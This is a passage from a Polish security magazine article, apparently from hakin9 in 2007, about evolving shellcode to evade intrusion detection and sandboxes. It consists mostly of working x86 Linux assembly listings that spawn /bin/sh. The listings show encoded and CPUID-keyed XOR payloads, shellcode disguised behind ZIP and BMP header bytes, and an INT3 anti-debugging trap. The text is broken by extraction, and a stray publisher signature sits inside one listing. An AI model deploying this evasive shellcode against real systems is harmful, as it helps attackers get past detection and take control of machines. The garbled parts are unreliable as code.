ścia tych przeszkód,

•   jak  projektować  i  implementować  bardziej 

sprytne kody powłoki.

Powinieneś wiedzieć...

•   podstawy Assemblera x86 dla platformy Linux,
•   podstawowe informacje na temat technik ata-

ków bazujących na przepełnieniu bufora przy-
dzielonego na stosie lub na stercie, oraz ata-
ków wykonywanych przy pomocy napisów for-
matujących.

background image

Ewolucja shellcodów

hakin9 Nr 1/2007

www.hakin9.org

27

zaprojektowane dla systemów Linux 
działających w architekturze x86 to 
część koncepcji na których one ba-
zują  można  uznać  za  przenośnie  i 
wykorzystać na innych platformach.

Ewolucja kontra 

diagnozowanie 

„po kablu”

Metoda  diagnozowania  „po  kablu” 
(ang.  Wire  diagnose)  jest  często
implementowana  w  ramach  syste-
mów klasy IDS (ang. Intrusion Detec-

tion  Systems)  oraz  IPS  (ang.  Intru-

sion  Prevention  Systems).  Rozwią-
zania te różnią się przede wszystkim
rodzajem zakresami kontroli. Pierw-
sze skupiają się na warstwie komuni-
kacyjnej  próbując  wyłapać  tu  wszel-
kie  rodzaje  podejrzanych  pakie-
tów  w  Sieci,  które  przebrnęły  przez 
klasyczną  zaporę  systemu;  drugie
monitorują system na poziomie hosta, 
próbując wyłapać tu wszelkie rodzaje 
złośliwych zachowań.

Metoda  diagnozowania  „po  ka-

blu”  jest  jedną  z  właściwości  NIDS 
(systemu  detekcji  intruzów)  i  pole-
ga  na  rozpoznawaniu  i  klasyfikacji
pakietów  nadchodzących  z  Sieci 
zanim  dotrą  one  do  swoich  punk-
tów  przeznaczenia.  W  przypadku 
rozpoznania  potencjalnego  niebez-
pieczeństwa system podnosi alarm. 
Podobnie jak programy antywiruso-
we, NIDS posiada bazę danych pod-
pisów i wzorców, które związane są 
z  próbami  włamań  do  systemów. 
Baza  taka  składa  się  zazwyczaj
z  listy  najczęściej  używanych  baj-
tów, lub sekwencji bajtów pojawiają-
cych się w kodach powłoki.

Siła  tej  metody  zależy  z  jednej 

strony  od  jakości  informacji  składo-
wanych w bazie, zaś z drugiej – od 
tego na ile „typowa” jest struktura ko-
du powłoki, który próbuje włamać się 
do systemu. Ponieważ z punktu wi-
dzenia  napastnika  baza  reguł  NIDS 
jest  niedostępna,  dlatego  jedynym 
sposobem na obejście tej przeszko-
dy jest zmiana struktury kodu powło-
ki; zjawisko to zwane jest polimorfi-
zmem.

Innym  słabym  punktem  tej  me-

tody  są  warstwy  bezpiecznego 
przesyłania  danych  w  Sieci.  Pro-

Listing 1. 

Zaszyfrowane kody powłoki składają się z dwóch części

#
    # 

(

linux

/

x86

)

 

execve

(

"/bin/sh"

[

"/bin/sh"

]

NULL

)

 / 

zakodowane

 

przez

 

+

1

 

-

 

39

 

bajt

ó

w

    # - izik@tty64.org
    #
    .

section

 .

text

    .

global

 

_start

    

_start

:

    #
    # Zakodowany ładunek
 

(

drugi

 

kod

 

pow

ł

oki

)

    #
    

pushl

 $

0x81cee28a

    

pushl

 $

0x54530cb1

    

pushl

 $

0xe48a6f6a

    

pushl

 $

0x63306901

    

pushl

 $

0x69743069

    

pushl

 $

0x14

    

popl

 

%

ecx

    #
    # Pętla dekodująca
    #
    

_unpack_loop

:

    

decb

 

(%

esp

%

ecx

1

)

    

decl

 

%

ecx

    

jns

 

_unpack_loop

    

incl

 

%

ecx

    

mul

 

%

ecx

    #
    # Skocz do 

zdekodowanego

 

kodu

 

pow

ł

oki

    #
    

push

 

%

esp

    

ret

Listing 2. 

Kod powłoki rozpoczyna się serią instrukcji PUSH

#
    # Zakodowany ładunek 

(

drugi

 

kod

 

pow

ł

oki

)

    #
    

pushl

 $

0x81cee28a

    

pushl

 $

0x54530cb1

    

pushl

 $

0xe48a6f6a

    

pushl

 $

0x63306901

    

pushl

 $

0x69743069

Listing 3. 

Skok pętli do ładunku umieszczonego na stosie

#
    # Pętla dekodująca
    #
    

_unpack_loop

:

    

decb

 

(%

esp

%

ecx

1

)

    

decl

 

%

ecx

    

jns

 

_unpack_loop

    

incl

 

%

ecx

    

mul

 

%

ecx

    #
    # Jump to the decoded shellcode
    #
    

push

 

%

esp

    

ret

background image

hakin9 Nr 1/2007

www.hakin9.org

Atak

28

tokoły  typu  SSL  czy  VPN  (IPSec) 
są wykorzystywane w celu tzw. tu-
nelowania,  które  omija  NIDS,  jako 
że  przekazywane  dane  są  szyfro-
wane i deszyfrowane w końcowych 
punktach połączenia. W tej sytuacji 
NIDS nie jest w stanie zdekodować 
przychodzących danych i baza re-
guł staje się bezużyteczna.

CJO0TI = /BIN/SH

Szyfrowanie  kodu  powłoki  to  pod-
stawowy  mechanizm  prowadzą-
cy  do  uzyskania  polimorfizmu.  Pro-
ces ten pozwala bezkarnie wykorzy-
stywać „oznaczone” bajty i sekwen-
cje nie martwiąc się o to, ze zostaną 
one przechwycone po stronie NIDS. 
Istnieje cała gama metod szyfrowa-
nia, przy czym większość z nich ba-
zuje  na  funkcjach  matematycznych 
lub bramkach logicznych. Szyfrowa-
nie kodu powłoki może również po-
legać na tworzeniu luk w strumieniu 
danych, który przechodzi przez sieć 
– luki te są usuwane przed wywoła-
niem kodu w docelowym systemie.

Polimorfizm  kodów  powłoki 

można  zauważyć  również  w  przy-
padku  kiedy  próba  ataku  opiera 
się  o  protokół  wymagający  ograni-
czonego zestawu znaków. Na przy-
kład protokoły działające w oparciu 
o dane tekstowe automatycznie od-
rzucają  jakiekolwiek  dane  binarne.
W takim przypadku kody powłoki są 
reprezentowane  w  postaci  alfanu-
merycznej.

Zaszyfrowane kody powłoki skła-

dają się z dwóch części: zakodowa-
nego  ładunku  oraz  dekodera,  który 
deszyfruje pierwszą część i na końcu 
wykonuje do niej skok. (Listing 1)

Przedstawiony w Listingu 1. kod 

powłoki w momencie wywołania ma 
postać  execve("/bin/sh").  Jednakże 
w postaci zakodowanej wygląda zu-
pełnie inaczej.

Kod powłoki rozpoczyna się serią 

instrukcji PUSH. Przy każdym wywo-
łaniu tej instrukcji na stos wrzucane są 
4 bajty zaszyfrowanego ładunku. Stos 
jest idealnym miejscem gdzie można 
rozpakować  niewielką  ilość  danych  i 
na  dodatek  (domyślnie)  posiada  ze-
zwolenie na czytanie, pisanie i co naj-
bardziej  istotne  –  wykonywanie  ko-

du który się aktualnie na nim znajdu-
je.(Listing 2). W dalszej kolejności ma-
my kod dekodera. Szyfrowanie w tym 
przypadku jest prostą grą inkrementa-
cji i dekrementacji. Dekoder jest zło-
żony  z  pętli,  która  czyta  bajt  po  baj-
cie dane wrzucone na stos i wykonuje 
na nich operację odejmowania w ce-
lu przywrócenie oryginalnej wartości. 
Po zakończeniu pętli kod powłoki wy-
konuje skok do ładunku umieszczone-
go na stosie (Listing 3.).

Oczywiste  jest,  że  im  łatwiejsza 

metoda  dekodowania  tym  mniejszy 
będzie  dekoder.  Podejście  to  ma 
jeszcze jedną zaletę – pozwala uży-
wać zabronionych bajtów – chociaż-
by takich jak 

NULL

NULL

 z racji tego, 

że jest stosowany jako znacznik koń-
ca napisu, nie powinien być używa-
ny w ciele kodu powłoki (kod taki, w 
przypadku  ataków  polegających  na 
wykorzystaniu  stringów  mógłby  być 
przedwcześnie obcięty).

Jednak przy zastosowaniu szy-

frowania problem znika – podatna 
na atak funkcja (np. 

strcpy()

) nigdy 

nie przetworzy wartości 

NULL

, gdyż 

jest ona zakodowana.

Pomimo  tego,  że  szyfrowanie 

zmienia wygląd zewnętrzny kodu po-
włoki,  warto  zauważyć  iż  wynikowa 
postać  nie  zawsze  musi  być  odpor-
na na metodę diagnozowania „po ka-
blu”. Problem w tym, że wielokrotne 
wykorzystanie  tego  samego  sche-
matu szyfrowania może sprawić, że 
odpowiedzialny za to kod będzie za-
rejestrowany jako wzorzec i umiesz-

Listing 4. 

Kod powłoki

#
    # 

x86

/

linux

 – 

execve

(

"/bin/

sh"

,

 

[

"/bin/sh"

NULL

])

 

+

 

Nag

łó

wek

 

ZIP

 

-

 

28

 

bajt

ó

w

    # - izik@tty64.org
    #
    .

section

 .

text

    .

global

 

_start

    

_start

:

    #
    # PK[\03\04], Nagłówek 

archiwum

 

danych

 

PK

[

Zip

]

 

(

5

 

bajt

ó

w

)

    #
    .

byte

 

0x50

    .

byte

 

0x4b

    .

byte

 

0x03

    .

byte

 

0x04

    .

byte

 

0x24

    #
    # 

execve

(

"/bin/sh"

,

 

[

"/bin/sh"

NULL

]);

    #
    

push

 $

0xb

    

popl

 

%

eax

    

cdq

    

push

 

%

edx

    

push

 $

0x68732f2f

    

push

 $

0x6e69622f

    

mov

 

%

esp

,

%

ebx

    

push

 

%

edx

    

push

 

%

ebx

    

mov

 

%

esp

%

ecx

    

int

 $

0x80

Listing 5a. 

Formaty 

#

x86

/

linux

 – 

execve

(

"/bin/sh"

,

 

[

"/bin/sh"

NULL

])

 

+

 

Nag

łó

wek

 

24

-

bitowej

 

Bitmapy

 

-

 

23

 

bajty

    # - izik@tty64.org
    #
    .

section

 .

text

    .

global

 

_start

    

_start

:

    #
    # Nagłówek 24-bitowej Bitmapy
    #
    .

byte

 

0x42

    .

byte

 

0x4D

    .

byte

 

0x36

    .

byte

 

0x91

    
    #
    # 

execve

(

"/bin/sh"

[

"/

bin/sh"

NULL

]);

    #
    

push

 $

0xb

    

popl

 

%

eax

    

cdq

    

push

 

%

edx

    

push

 $

0x68732f2f

O autorze:

Itzik Kotler jest badaczem zajmującym 
się problemami bezpieczeństwa w sys-
temach informatycznych, oraz założy-
cielem  projektu  TTY64.  Wspomniany 
projekt skupia się na promowaniu tech-
nik programowania zorientowanych na 
bezpieczeństwo, a także na wszelkich 
aspektach  powiązanych  z  tym  tema-
tem. Na stronie domowej projektu moż-
na znaleźć wiele ciekawych informacji
i  zasobów  powiązanych  z  tematem 
(między innymi przykładowe fragmen-
ty kodu).
Kontakt z autorem: izik@tty64.org

background image

Ewolucja shellcodów

hakin9 Nr 1/2007

www.hakin9.org

29

czony w bazie danych. Aby uzyskać 
w miarę niezawodne rozwiązanie na-
leżałoby ciągle modyfikować zarów-
no samą formułę kodu powłoki jak i 
metodę szyfrowania tej formuły.

Ja jestem ZIP, 

a kim jesteś Ty?

Częstym sposobem na rozróżnienie 
dwóch różnych formatów danych jest 
próba odczytania pewnych znaczni-
ków. Dla przykładu – do poszczegól-
nych formatów często przypisuje się 
konkretne  rozszerzenia  plików,  i  co 
więcej – lwia część formatów danych 
posiada  nagłówki  opatrzone  „ma-
gicznymi”  numerami  bądź  bajtami. 
Bajty  te  są  często  przydatne  kiedy 
aplikacja  próbuje  zweryfikować  czy 
nadchodzący strumień danych ma w 
pożądany format.

Wstawianie do kodu powłoki „ma-

gicznych” bajtów powiązanych z po-
wszechnie  rozpoznawanymi  forma-
tami plików może być bardzo pomoc-
ne przy oszukiwaniu narzędzi moni-
torujących ruch w Sieci. Szczególnie 
w przypadkach prób włamania się do 
systemu poprzez takie standardowe 
kanały jak poczta elektroniczna czy 
zawartość  stron  webowych,  bardzo 
ważne jest to aby kod powłoki otrzy-
mał fałszywą „osobowość”. Dla przy-
kładu,  kod  powłoki,  który  przedsta-
wia  się  jako  ZIP  ma  dużą  szansę 
ogłupić system wykrywania intruzów 
i osiągnąć swój cel (Listing 4.).

Kod powłoki zaczyna się 5 bajto-

wym  nagłówkiem  charakterystycz-
nym  dla  popularnego  formatu  kom-
presji  –  ZIP.  W  tym  przypadku  bar-
dzo istotny jest fakt, iż wspomniane 
5 bajtów da się przekształcić w po-
prawne instrukcje asemblera. Ponie-
waż  system  skupia  się  na  wychwy-
tywaniu kodów powłoki, niewątpliwie 
weźmie  w  pierwszej  kolejności  pod 
lupę właśnie te bajty i istnieje szan-
sa, że rozpozna je jako nagłówek po-
prawnego bądź uszkodzonego archi-
wum ZIP. Nawet jeśli system monito-
ringu nie jest w stanie rozpoznać for-
matu  ZIP,  to  i  tak  uzyskamy  pewną 
przewagę, jako że bajty nagłówkowe 
są rzadko używane w kodach powło-
ki, co uczyni nasze rozwiązanie trud-
niejszym do wykrycia.

Przy próbie podszywania się pod 

taki czy inny format, powodzenie ata-
ku  zależy  prawie  zawsze  od  głębo-
kości analizy przeprowadzanej przez 
system  monitorowania.  Nie  zawsze 
też  udaje  się  zrekonstruować  dany 
format w taki sposób, aby można go 
było  przetłumaczyć  na  poprawne  in-
strukcje asemblera. Czasami też trud-
no jest w pełni odtworzyć z poziomu 
kodu powłoki strukturę formatu. W re-
zultacie  system  monitorujący,  który 
szuka dostatecznie głęboko, będzie w 
stanie zauważyć, że coś jest nie tak. 
Przeglądając listę popularnych forma-
tów  można  zauważyć,  że  niektóre  z 
nic maja luźniejszą strukturę niż inne 
– zarówno w odniesieniu do nagłówka 
jak i do zawartości. Dobrymi kandyda-
tami są formaty reprezentujące dane 
multimedialne  –  w  szczególności  w 
postaci  surowej  (nie  skompresowa-
nej). Formaty te są zazwyczaj bardzo 
elastyczne i co ważne – na tyle popu-
larne, aby postrzegać je jako część ty-
powego ruchu w Sieci (Listing 5.).

Bitmapa (.BMP) jest surowym for-

matem do reprezentacji obrazu, który 
jest wręcz idealną przykrywką dla ko-
du powłoki. Trik w tym przypadku po-
lega na tym, iż trudno wyobrazić sobie 
system monitorowania, który potrafił-
by przewidzieć czy danych obraz jest 
prawdziwy czy nie. Koncepcję tę moż-
na oczywiście stosować w odniesieniu 
do innych formatów – dobrymi kandy-
datami są RIFF (.WAV) oraz Rich Text 
(.RTF). Podstawowym ograniczeniem 
przy stosowaniu tej techniki jest fakt, 
że wszystkie bajty występujące w na-
główku formatu, który planujemy wy-
korzystać jako kamuflaż kodu powło-
ki  muszą  być  prawidłowymi  instruk-
cjami asemblera. W innym przypadku 
wywołanie kodu powłoki zakończy się 
błędem naruszania dostępu w trakcie 
wykonania.

Ewolucja kontra 

diagnozowanie w czasie 

wykonania

Metoda tzw. diagnozowania w cza-
sie wykonania jest kolejnym często 
stosowanym  rozwiązaniem  stoso-
wanym w systemach IDS oraz IPS. 
Metoda ta jest zazwyczaj wykorzy-
stywana  jako  rozszerzenie  mecha-

nizmu  diagnozowania  „po  kablu”, 
który  omawiałem  w  jednym  z  po-
przednich punktów.

Kluczowym  elementem  opisywa-

nego w tym miejscu procesu jest ba-
danie  efektów  wykonania  kodu,  któ-
ry  został  sklasyfikowany  jako  po-

Listing 5b. 

Formaty 

    

push

 $

0x6e69622f

    

mov

 

%

esp

,

%

ebx

    

push

 

%

edx

    

push

 

%

ebx

    

mov

 

%

esp

%

ecx

    

int

 $

0x80

Listing 6. 

Pułapka INT 3h

#
    # (linux/x86) trik 

anty

-

debugowy

 

(

INT

 3

h

 

trap

)

 

+

 

execve

(

"/bin/sh"

,

 

[

"/bin/sh"

NULL

]

,

 

NULL

)

 

-

 

39

 

bajt

ó

w

    # - izik@tty64.org
    #
    .

section

 .

text

    .

global

 

_start

    

_start

:

    #
    # Program obsługi
 

sygna

ł

u

 

rejestru

    

push

 $

0x30

    

popl

 

%

eax

    

push

 $

0x5

    

popl

 

%

ebx

    

jmp

 

_evil_code

    #
    # Sprawdzenie debugera
    

_evilcode_loc

:

    

popl

 

%

ecx

    

int

 $

0x80

    

int3

    

incl

 

%

eax

    #
    # Alternatywny strumień 

przetwarzania

    

_evil_code

:

    

call

 

_evilcode_loc

    #
    # Prawdziwy kod powłoki
    #
    

cdq

    

movb

 $

0xb

%

al

    

push

 

%

edx

    

push

 $

0x68732f2f

    

push

 $

0x6e69622f

    

mov

 

%

esp

,

%

ebx

    

push

 

%

edx

    

push

 

%

ebx

    

pushl

 

%

esp

    

jmp

 

_evilcode_loc

background image

hakin9 Nr 1/2007

www.hakin9.org

Atak

30

dejrzany  (na  przykład  przy  pomo-
cy  metody  diagnozowania  „po  ka-
blu”). Proces ten jest przeprowadzany
w  tzw.  piaskownicy  (ang.  Sandbox), 
czyli  w  bezpiecznym,  odizolowa-
nym  środowisku  –  może  być  to  dla 
przykładu  wirtualny  lub  realny  ser-
wer,  który  przetwarza/wykonuje  po-
dejrzany  kod,  śledząc  przy  okazji 
każdy  jego  krok  i  zapisując  wyniki
jego działania. Porównując te wyniki z 
danymi  wyjściowymi  produkowanymi 
przez inne kody powłoki można łatwo 
wyłapać  potencjalnie  niebezpieczny 
kod, zaś dzięki temu, że eksperymen-
ty przeprowadzane są w piaskownicy 
atakujący  nie  jest  w  stanie  dokonać 
żadnych poważanych uszkodzeń.

Siłą  tej  metody  jest  jej  aktyw-

ny  charakter.  W  przypadku  diagno-
zy  „po  kablu”  bazujemy  głównie  na 
predefiniowanych  zasadach  –  tu-
taj  zaś  podejrzany  kod  uruchamia-
ny  jest  na  symulowanym  CPU  co 
pozwala  wyłapywać  aktywność  ko-
dów  powłoki  na  najniższym  z  moż-
liwych poziomów. Jako, że głównym 
celem kodu powłoki jest uruchomie-
nie się na CPU atakowanego syste-
mu, piaskownica może bardzo łatwo 
śledzić  i  notować  tego  typu  zacho-
wania. Zmiany struktury kodu powło-
ki na poziomie bajtów nic w tym przy-
padku nie pomoże, gdyż kod taki czy 
tak, czy siak ukaże swoją prawdziwą 
twarz w momencie wywołania.

Nie debuguj mnie

Sztuczki  anty-debugowe  są  bardzo 
popularne  w  przypadku  komercyj-
nych  aplikacji  Windows.  Bazują  one 
na  dołączaniu  do  docelowej  aplika-
cji fragmentów kodu, które utrudniają 
lub  uniemożliwiają  debugowanie  lub 
wsteczną  inżynierię  tychże  aplikacji. 
Oczywiście nie zakładamy, że atako-
wany  system  będzie  działał  w  trybie 
odpluskwiania więc można bezpiecz-
nie założyć, że osadzanie tego rodza-
ju  wstawek  do  kodu  powłoki  nie  bę-
dzie  przeszkodą  przy  uruchomieniu 
go na tym systemie. Tym co naprawdę 
chcemy  uzyskać  jest  wprowadzenie 
chaosu  do  piaskownicy.  Istnieje  cała 
gama  trików  anty-debugowych,  przy 
czym  najciekawsze  nie  są  wcale  te, 
które na ślepo blokują debugery, lecz 

Listing 7. 

Kolejność rejestracji kodu powłoki

#
    # Rejestruj program obsługi sygnału
    #
    

push

 $

0x30

    

popl

 

%

eax

    

push

 $

0x5

    

popl

 

%

ebx

    

jmp

 

_evil_code

    ...
    

_evilcode_loc

:

    

popl

 

%

ecx

    

int

 $

0x80

    ...
    

_evil_code

:

    

call

 

_evilcode_loc

    ...

Listing 8. 

Po uruchomieniu przerwania INT3 następuje docelowy test

#
    # Sprawdzenie debugera
    #

    

_evilcode_loc

:

    ...
    

int3

    
    ...

Listing 9. 

Debuger zdejmuje wartość ze stosu i wartość EIP zwiększa 

się o jeden

#
    # Sprawdzenie debugera
    #
    

_evilcode_loc

:

    

popl

 

%

ecx

    

int

 $

0x80

    

int3

    #
    # Debugger przeniesie bieg programu w to miejsce!
    # 
    

incl

 

%

eax

    

_evil_code

:

    

call

 

_evilcode_loc

Listing 10. 

Część kodu powłoki, która zostałaby uruchomiona w 

sytuacji wywołania funkcji zwrotnej dla SIGTRAP

#
    # Docelowy kod powłoki
    #
    

cdq

    

movb

 $

0xb

%

al

    

push

 

%

edx

    

push

 $

0x68732f2f

    

push

 $

0x6e69622f

    

mov

 

%

esp

,

%

ebx

    

push

 

%

edx

    

push

 

%

ebx

    

pushl

 

%

esp

    

jmp

 

_evilcode_loc

background image

Ewolucja shellcodów

hakin9 Nr 1/2007

www.hakin9.org

31

te które pozwalają aplikacji stwierdzić 
czy jest w trakcie debugowania – co
z kolei pozwala jej modyfikować swo-
je zachowania w zależności od odpo-
wiedzi na to pytanie.

Jeśli  kod  powłoki  posiadałby 

„świadomość” na temat tego, że zo-
stał uruchomiony w piaskownicy (lub 
w środowisku debugującym), to mógł-

by wprowadzić program odpluskwia-
jący  w  błąd  rozdzielając  swój  stru-
mień  przetwarzania  na  dwie  ścież-
ki  –  bezpieczną  (zawierającą  pełną 
funkcjonalność)  oraz  niebezpieczną 
(prowadzącą do wcześniejszego za-
kończenia). Patrz Listing 6.

Zaprezentowany  kod  powłoki  im-

plementuje  jeden  z  najbardziej  pod-

stawowych  trików  anty-debugowych, 
czyli pułapkę INT 3h. Uwięzienie po-
tencjalnego debugera polega na uru-
chomieniu  przerwania  3H  i  ustawie-
nia programu obsługi sygnału (lub wy-
jątku) w kodzie powłoki. W rezultacie, 
gdy kod powłoki działa w trybie odplu-
skwiania to przerwanie sprawi, że de-
buger się zatrzyma (INT 3h jest stan-
dardowym  przerwaniem  wykorzysty-
wanym  przez  debugery).  Gdb  debu-
ger  zatrzyma  się  na  kodzie,  ustawi 
EIP na punkt za kodem operacji INT 
3h  i  (zakładając,  że  nie  został  prze-
konfigurowany), nie wywoła programu 
obsługi zawartego w kodzie powłoki. 

Kod  umieszczony  w  procedu-

rze obsługi przerwania definiuje bez-
pieczną  ścieżkę.  Ścieżka  niebez-
pieczna  zawarta  jest  w  sekcji  na-
stępującej  po  kodzie  operacji  INT 
3h.  Dzięki  temu,  że  większość  inte-
raktywnych  i  praktycznie  wszystkie 
nie-interaktywne  debugery  nie  dzie-
lą przerwania z aplikacją, kod powłoki 
może tak zaplanować swój strumień 
przetwarzania, aby ukryć swoje doce-
lowe przeznaczenie (Listing 7).

W  pierwszej  kolejności  kod  po-

włoki rejestruje program obsługi sy-
gnału dla SIGTRAP (INT3). Następ-
nie wykorzystuje wsteczne CALL aby 
w  trakcie  wykonania  pobrać  lokację 
kodu  oznaczonego  jako  _evil_co-

de. Adres jest przekazany jako funk-
cja zwrotna do funkcji, której wywo-
łanie  przeprowadzi  scenariusz  bez-
pieczny (zakładamy, że nie ma debu-
gera, który obserwuje strumień prze-
twarzania  i  kod  powłoki  może  uru-
chomić  swoją  docelową  funkcjonal-
ność). Patrz Listing 8.

Po 

uruchomieniu 

przerwa-

nia  INT3  następuje  docelowy  test.
Program obsługi sygnału jest już zare-
jestrowany i wskazuje na _evil_code. 
W tym punkcie kodu powłoki następu-
je rozdzielenie strumienia przetwarza-
nia, zaś wybór konkretnej ścieżki po-
dejmowany jest w zależności od wyni-
ku przerwania (Listing 9). W przypad-
ku jeśli debuger zdjął wartość ze stosu 
i wartość EIP została zwiększona o je-
den (INT3 jest jedno-bajtowym kodem 
operacji),  do  głosu  dochodzi  niebez-
pieczna  ścieżka  kodu.  Rejestr  EAX 
został  wyzerowany  przez  wywołanie 

Listing 11. 

Pętla dekodująca nie jest wymagana, tak jak w Listingu 10

#
    # 

(

linux

/

x86

)

 

execve

(

"/bin/sh"

[

"/bin/sh"

]

NULL

)

 / 

przexorowane

 

z

 

Intel

 

x86

 

CPUID

 

-

 

41

 

bajt

ó

w

    # - izik@tty64.org
    #
    .

section

 .

text

    .

global

 

_start

    

_start

:

    #
    # CPUID w celu załadowania klucza
    #
    

xorl

 

%

eax

%

eax

    

cpuid

    #
    # Wrzuć na stos przexorowany ładunek (drugi kod powłoki)
    #
    

pushl

 

%

ecx

    

pushl

 $

0xeca895e7

    

pushl

 $

0x3f377fde

    

pushl

 $

0x8fec1a07

    

pushl

 $

0x0e4a1c6e

    

pushl

 $

0x04165b06

    #
    # Deszyfruj ładunek w odniesieniu do wartości CPUID
    #
    

_unpack_loop

:

    

xorl

 

%

ecx

(%

esp

)

    

popl

 

%

edx

    

jnz

 

_unpack_loop

    #
    # Przeskocz do odszyfrowanego kodu powłoki
    #
    

subl

 $

0x18

%

esp

    

pushl

 

%

esp

    

ret

Listing 12. 

Kod operacji CPUID

#
    # CPUID do wczytania-- 

    Marta

 

Ogonek

    Product

 

manager

 

of

 

hakin9

    Hard

 

Core

 

IT

 

Security

 

magazine

    www

.

en

.

hakin9

.

org

    Software

 

Wydawnictwo

 

Sp

z

 

o

.

o

    Piaskowa

 

3

01

-

067

 

Warsaw

Poland

    Phone

:

 

+

4822

 

887

 

14

 

57

    Fax

:

 

+

4822

 

887

 

10

 

11

 

the

 

key

    #
    

xorl

 

%

eax

%

eax

    

cpuid

    ...

background image

hakin9 Nr 1/2007

www.hakin9.org

Atak

32

systemowe 

signal()

.  Debuger  kon-

tynuuje przetwarzanie od INT3, dalej 
zwiększa wartość EAX o jeden (war-
tość ta reprezentuje teraz wywołanie 
systemowe EXIT) i kończy wywołując 
kod oznaczony 

_ evilcode _ loc

, gdzie 

dzięki instrukcji INT $0x80 tożsamej z 
wywołaniem systemowym 

exit()

 kod 

powłoki  kończy  swoje  działanie.  Zo-
baczmy co by się działo gdyby nie by-
ło debugera (Listing 10.).

Przedstawiony  kod  reprezentuje 

tę część kodu powłoki, która zosta-
łaby uruchomiona w sytuacji wywo-
łania funkcji zwrotnej dla SIGTRAP. 
Jeśli do tego dojdzie, kod powłoki za-
atakuje system wywołując /bin/sh.

Korzystając  z  koncepcji  wykony-

wania w locie testów, które pozwalają 
na to by kod powłoki uzyskał wiedzę 
odnośnie  natury  środowiska  w  jakim 
jest on uruchamiany, możemy znacz-
nie  zwiększyć  prawdopodobieństwo 
jego przebrnięcia przez Sieci typu Ho-
neypot, piaskownice lub aplikacje mo-
nitorujące. Główną zaletą takiego po-
dejścia jest ochrona przez potencjal-
nym zdemaskowaniem.

Miażdżenie na CPU

Kryptografia  jest  rozwiązaniem  które 
wybiera się zazwyczaj gdy chcemy za-
pewnić, aby w przypadku przechwyce-
nia naszych danych przez zewnętrzny 
podmiot, dane te były niemożliwe do 
odczytania. Jednakże aby uzyskać ta-
ki efekt, strony które planują przesyłać
sobie  zaszyfrowane  informacje  mu-
szą  uzgodnić  i  wymienić  określony, 
tajny klucz. Wymiana taka nie wcho-
dzi  w  grę  gdy  próbujemy  infiltrować 
atakowany system wbrew jego woli. 

Tajne  porozumienie  bez  wy-

miany  kluczy  znane  jest  pod  na-
zwą  metody  wczesnego  dziele-
nia  kluczy  (ang.  pre-shared  key

method).  Idea  tej  metody  polega  na 
tym, że obydwie strony używają zna-
nego  z  góry,  tego  samego  klucza, 
dzięki  czemu  nie  muszą  przeprowa-
dzać  procesu  wymiany.  Znając  taki 
klucz można by zaszyfrować nim kod 
powłoki, dzięki czemu byłby on zdeko-
dowany dopiero na docelowej maszy-
nie,  bezpiecznie  omijając  wszelkie-
go  rodzaju  piaskownice.  Kod  powło-
ki  może  uzyskać  dostęp  do  niemal-

Listing 13. 

Kod operacji CPUID daje nam dostęp do pożądanej 

informacji

#
    # Wrzuć na stos przexorowany 
ł

adunek

 

(

drugi

 

kod

 

pow

ł

oki

)

    #
    

pushl

 

%

ecx

    

pushl

 $

0xeca895e7

    

pushl

 $

0x3f377fde

    

pushl

 $

0x8fec1a07

    

pushl

 $

0x0e4a1c6e

    

pushl

 $

0x04165b06

Listing 14. 

Deszyfrowanie kodu

#
    # Deszyfruj ładunek
 

w

 

odniesieniu

 

do

 

warto

ś

ci

 

CPUID

    #
    

_unpack_loop

:

    

xorl

 

%

ecx

(%

esp

)

    

popl

 

%

edx

    

jnz

 

_unpack_loop

    #
    # Przeskocz do 

odszyfrowanego

 

kodu

 

pow

ł

oki

    #
    

subl

 $

0x18

%

esp

    

pushl

 

%

esp

    

ret

Listing 15a. 

Sprawdzanie w czasie wykonania, która powłoka jest 

dostępna

#
    # 

(

linux

/

x86

)

 

getppid

()

 

+

 

execve

(

"/proc/<pid>/exe"

[

"/proc/<pid>/exe"

NULL

])

 

-

 

51

 

bajt

ó

w

    # - izik@tty64.org
    #
    # * podziękowania dla pR za pętlę _convert ;-)
    #
    
    .

section

 .

text

    .

global

 

_start

    

_start

:

    #
    # Kto jest twoim rodzicem?
    #
    

push

 $

0x40

    

popl

 

%

eax

    

int

 $

0x80

    #
    # Zamień INT na ASCII
    #
    

_convert

:

    

decl

 

%

esp

    

cdq

    

pushl

 $

0xa

    

popl

 

%

ebx

    

divl

 

%

ebx

    

addb

 $

0x30

%

dl

background image

Ewolucja shellcodów

hakin9 Nr 1/2007

www.hakin9.org

33

że każdej globalnej zmiennej lub da-
nej systemowej. Niektóre z takich in-
formacji  mogą  być  pozyskane  jesz-
cze  przed  rozpoczęciem  ataku.  Ta-
ki rodzaj koordynacji pozwala na za-
stosować model PSK (ang. Pre-Sha-

red Key).

Użycie  kodu  podobnego  jak  w 

przypadku pokazanego wcześniej en-
kodera,  rozszerzonego  o  procedurę 
kryptograficzną i mechanizm wydoby-
wania klucza jest podstawą do stwo-
rzenia szyfrowanego kodu powłoki.

Ten  kod  powłoki  jest  podob-

ny  do  kodu  powłoki  w  wersji  enko-
dowanej.  Jednakże  w  tym  przypad-
ku  pętla  dekodująca  nie  jest  wyma-
gana,  tak  jak  to  było  w  pokazanym 
wcześniej  przykładzie.  Współdzielo-
nym  sekretem  jest  tutaj  nazwa  pro-
ducenta  procesora  (np.  Intel)  –  ten
właśnie  napis  będzie  wykorzysta-
ny  zarówno  do  zaszyfrowania  jak
i  odszyfrowania  go  na  docelowej 
maszynie  przed  uruchomieniem. 
Oznacza  to,  że  użycie  jako  PSK
nazwy  innego  producenta  dałoby  w 
wyniku  niepoprawny  kod,  całkowi-
cie  nieprzydatny  z  punktu  widzenia 
analizy. Przykład z nazwą producen-
ta procesora pokazuje jak łatwo pod-
miot atakujący może zebrać dane po-
trzebne do przeprowadzenia tego ty-
pu działania. W tym przypadku infor-
mację  tę  można  uzyskać  z  poziomu 
asemblera przy użyciu kodu operacji 
CPIUD (Listing 12).

Kod  operacji  CPUID  daje  nam 

dostęp  do  pożądanej  informacji.
W pierwszej fazie zaszyfrowany kod 
powłoki  jest  wrzucony  na  stos  (po-
dobnie  jak  w  przypadku  omawiane-
go  wcześniej  enkodera/dekodera). 
Patrz Listing 13.

Kiedy  zaszyfrowany  kod  powło-

ki jest już umieszczony na stosie to 
należy  wziąć  się  za  jego  odszyfro-
wanie  wykorzystując  do  tego  odpo-
wiedź  pozyskaną  z  CPUID.  Nieste-
ty nie posiadamy żadnej kontroli nad 
tym  procesem  –  tak  samo  jak  nie
jesteśmy  w  stanie  zweryfikować
powodzenia  tego  przedsięwzięcia. 
Jeśli  CPIUD  zwrócił  nazwę  inne-
